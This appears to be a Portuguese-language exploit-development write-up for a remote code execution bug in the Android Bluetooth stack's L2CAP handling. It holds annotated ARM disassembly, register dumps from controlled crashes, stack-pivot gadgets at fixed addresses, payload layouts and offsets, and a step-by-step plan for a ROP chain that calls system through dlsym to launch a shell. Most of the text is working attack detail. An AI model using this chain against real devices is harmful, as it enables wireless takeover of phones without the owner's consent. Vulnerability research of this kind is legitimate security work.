uint16_t event; | Tamanho 0x2 | Offset 0x0 uint16_t len; | Tamanho 0x2 | Offset 0x2 uint16_t offset; | Tamanho 0x2 | Offset 0x4 uint16_t layer_specific; | Tamanho 0x2 | Offset 0x6 uint8_t data[]; | Tamanho 0xx | Offset 0x8 } BT_HDR; | Tamanho 0x8 + comprimento dos dados

A desmontagem da função l2c_link_check_send_pkts:

.text:0x00103108 PUSH.W {R4-R11,LR} .text:0x0010310C SUB SP, SP, #0x14 .text:0x0010310E MOV R4, R0 => Move R0 para R4 => Define R4 = R0 = tL2C_LCB* p_lcb .text:0x00103110 CBZ R2, loc_10311C => Salta se R2 for nulo => Salta se BT_HDR* p_buf for nulo .text:0x00103112 MOVS R0, #0 => Move 0 para R0 => .text:0x00103114 CBZ R1, loc_103120 => Salta se R1 for nulo => Salta se tL2C_CCB* p_ccb for nulo .text:0x00103116 LDRH R1, [R1,#0x2C] => Carrega R1 + 0x2C em R1 => Carrega R1 com p_ccb->local_cid .text:0x00103118 MOVS R7, #1 => Move 1 para R7 => Define single_write = true .text:0x0010311A B loc_103124 => Desvia para loc_103124 .text:0x00103124 loc_103124 .text:0x00103124 STRH R1, [R2] => Armazena R1 alto em R2 => Define p_buf->event = p_ccb->local_cid .text:0x00103126 MOV R1, R2 => Move R2 para R1 => Define R1 = R2 = BT_HDR* p_buf .text:0x00103128 STRH R0, [R2,#6] => Armazena R0 em R2 + 0x6 => Define p_buf->layer_specific = 0 .text:0x0010312A LDR R0, [R4,#0x44] => Carrega R4 + 0x44 em R0 => Carrega R0 com list_t* p_lcb->link_xmit_data_q de R4 + 0x44 .text:0x0010312C BL list_append => Desvia com ligação para list_append

Antes da chamada para list_append, os registos contêm:

  • R0 = list_t* p_lcb->link_xmit_data_q objeto com o primeiro payload
  • R1 e R2 = BT_HDR* p_buf objeto com o segundo payload
  • R4 = tL2C_LCB* p_lcb objeto com o primeiro payload em 0x44
  • R7 = 1

A desmontagem da função list_append:

.text:0x001298A0 PUSH {R4,R5,R7,LR} .text:0x001298A2 SUB SP, SP, #0x138 .text:0x001298A4 MOV R4, R0 => Move R4 para R0 => Define R4 = R0 = list_t* p_lcb->link_xmit_data_q .text:0x001298A6 LDR R0, =(stack_canary_1A2718 - 0x1298B0) .text:0x001298A8 MOV R5, R1 => Move R1 para R5 => Define R5 = R1 = BT_HDR* p_buf .text:0x001298AA CMP R4, #0 => Testa R4 = 0 => Testa se list_t* p_lcb->link_xmit_data_q é nulo .text:0x001298AC ADD R0, PC ; stack_canary_1A2718 .text:0x001298AE LDR R0, [R0] => .text:0x001298B0 LDR R0, [R0] => .text:0x001298B2 STR R0, [SP,#0x148+stack_canary] => .text:0x001298B4 BNE loc_1298CA => Testa CMP => Salta se list_t* p_lcb->link_xmit_data_q não for nulo .text:0x001298CA loc_1298CA => .text:0x001298CA CBNZ R5, loc_1298E0 => Salta se R5 não for nulo => Salta se BT_HDR* p_buf for nulo .text:0x001298E0 loc_1298E0 => .text:0x001298E0 LDR R0, [R4,#0x10] => Carrega R0 de R4+0x10 => Define R0 = list->allocator .text:0x001298E2 LDR R1, [R0] => Carrega R1 de R0 => Define R1 = list->allocator->alloc .text:0x001298E4 MOVS R0, #8 => Move 8 para R0 => Define R0 = sizeof(list_node_t) .text:0x001298E6 BLX R1 => Desvia com ligação e troca para R1 => Desvia para R1 controlado !!!

Antes do desvio controlado para R1, os registos contêm:

  • R0 = 0x8
  • R1 = valor do segundo payload + 0x0
  • R2 e R5 apontam para BT_HDR* p_buff com o segundo payload
  • R4 aponta para list_t* p_lcb->link_xmit_data_q com o primeiro payload

Para encontrar o início do primeiro payload em list_t* p_lcb->link_xmit_data_q apontado por R4, usámos o gadget ldm encontrado em 0x00125734:

0x00125734 : ldm r4, {r0, r1, r2, r3, r5, r6, r7, sb, sl, ip, sp, lr, pc}

O crash alvo com os seguintes registos:

  • R4 = ade05278 = list_t* p_lcb->link_xmit_data_q com o primeiro payload em + 0x894C (0x894C / 0x360 = 0x28 = 40 pacotes onde podemos aceder ao segundo payload)

  • R0 = R4 + 0x0 = 0020de08

  • R1 = R4 + 0x4 = dead0000 = valor do primeiro payload + 0x0

  • R2 = R4 + 0x8 = dead0001 = valor do primeiro payload + 0x4

  • R3 = R4 + 0xC = dead0002 = valor do primeiro payload + 0x8

  • R5 = R4 + 0x10 = ade0db14 = valor do primeiro payload + 0xC = endereço do segundo payload + 0x0

  • R6 = R4 + 0x14 = dead0003 = valor do primeiro payload + 0x10

  • R7 = R4 + 0x18 = 00200004

  • R9 (SB) = R4 + 0x1C = dead0000 = valor do primeiro payload + 0x0

  • R10 (SL) = R4 + 0x20 = dead0001 = valor do primeiro payload + 0x4

  • R12 (IP) = R4 + 0x24 = dead0002 = valor do primeiro payload + 0x8

  • R13 (SP) = R4 + 0x2C = ade0db14 = valor do primeiro payload + 0xC = endereço do segundo payload + 0x0

  • R14 (LR) = R4 + 0x30 = dead0003 = valor do primeiro payload + 0x10

O primeiro payload repete-se a cada 0x14 bytes, que é o tamanho da estrutura list_t

typedef struct list_t { list_node_t* head; | Tamanho 0x4 | Offset 0x0 | cabeçalho l2cap não utilizável list_node_t* tail; | Tamanho 0x4 | Offset 0x4 | valor do primeiro payload + 0x0 size_t length; | Tamanho 0x4 | Offset 0x8 | valor do primeiro payload + 0x4 list_free_cb free_cb; | Tamanho 0x4 | Offset 0xC | valor do primeiro payload + 0x8 const allocator_t* allocator; | Tamanho 0x4 | Offset 0x10 | valor do primeiro payload + 0xC } list_t; | Tamanho 0x14

Para encontrar o início do segundo payload em BT_HDR* p_buff apontado por R5, usámos o gadget ldm encontrado em 0x000dcecc:

0x000dcecc : ldm r5, {r2, r3, r4, r6, r7, r8, lr, pc}

O crash alvo com os seguintes registos:

  • R2 = R5 + 0x0 = 000e0000
  • R3 = R5 + 0x4 = 00000000
  • R4 = R5 + 0x8 = 000a2002
  • R5 = 95270300 = BT_HDR* p_buff com o segundo payload em + 0x???
  • R6 = R5 + 0xC = 00010006
  • R7 = R5 + 0x10 = 0002020a
  • R8 = R5 + 0x14 = 00000002

Não há incremento neste load múltiplo e podemos ver que o conteúdo de BT_HDR* p_buff + 0x0 é: 000e0000 00000000 000a2002 00010006 0002020a 00000002

O mesmo teste com um load múltiplo com incremento antes do gadget encontrado em 0x0014b580: 0x0014b580 : ldmib r5, {r1, r2, r3, r4, r7, r8, sl, fp, sp, pc} ^

O crash alvo com o seguinte log:

Após o crash, os registos contêm:

  • R1 = R5 + 0x4 = 00000000
  • R2 = R5 + 0x8 = 000a2002
  • R3 = R5 + 0xC = 00010006
  • R4 = R5 + 0x10 = 0002020a
  • R5 = 9530ee00 = BT_HDR* p_buff com o segundo payload em + 0x14
  • R7 = R5 + 0x14 = 96300002
  • R8 = R5 + 0x18 = dead0007
  • SL = R5 + 0x1C = dead0008
  • FP = R5 + 0x20 = dead0009
  • SP = R5 + 0x24 = dead000a

O conteúdo de BT_HDR* p_buff + 0x4 para o incremento é: 00000000 000a2002 00010006 0002020a 96300002 dead0007 dead0008 dead0009 dead000a

Podemos ver que o segundo payload está em + 0x14 em BT_HDR* p_buff

########################################################################################

ESCREVER A ROP CHAIN

########################################################################################

Tal como Jan Ruge com a biblioteca libicuuc, só temos acesso a dlsym na bluetooth para encontrar o endereço de system de modo a iniciar a shell

O processo de exploração é o seguinte:- Obter um endereço de entrada da fila de buffer de transmissão de dados de link no deslocamento de memória 180 e calcular a base de um pacote com - 176

  • Obter o endereço da função BleAdvertisingManagerImpl::SetDataAdvDataSender no deslocamento de memória 28 para calcular o endereço base da biblioteca bluetooth
  • Construir um primeiro payload de 32 caracteres contendo o endereço da entrada da fila de buffer de transmissão de dados de link
  • Construir um segundo payload de 184 caracteres contendo a ROP chain e o comando shell
  • Espalhar o segundo payload no deslocamento de memória 184 usando um método de vazamento para colocá-lo na fila de buffer de transmissão de dados de link
  • Transbordar o primeiro payload para sobrescrever entradas na fila de buffer de transmissão de dados de link e acionar o desvio para o início do segundo payload
  • O segundo payload inicia o comando shell

Veja o código para explicações

Baixar ferramenta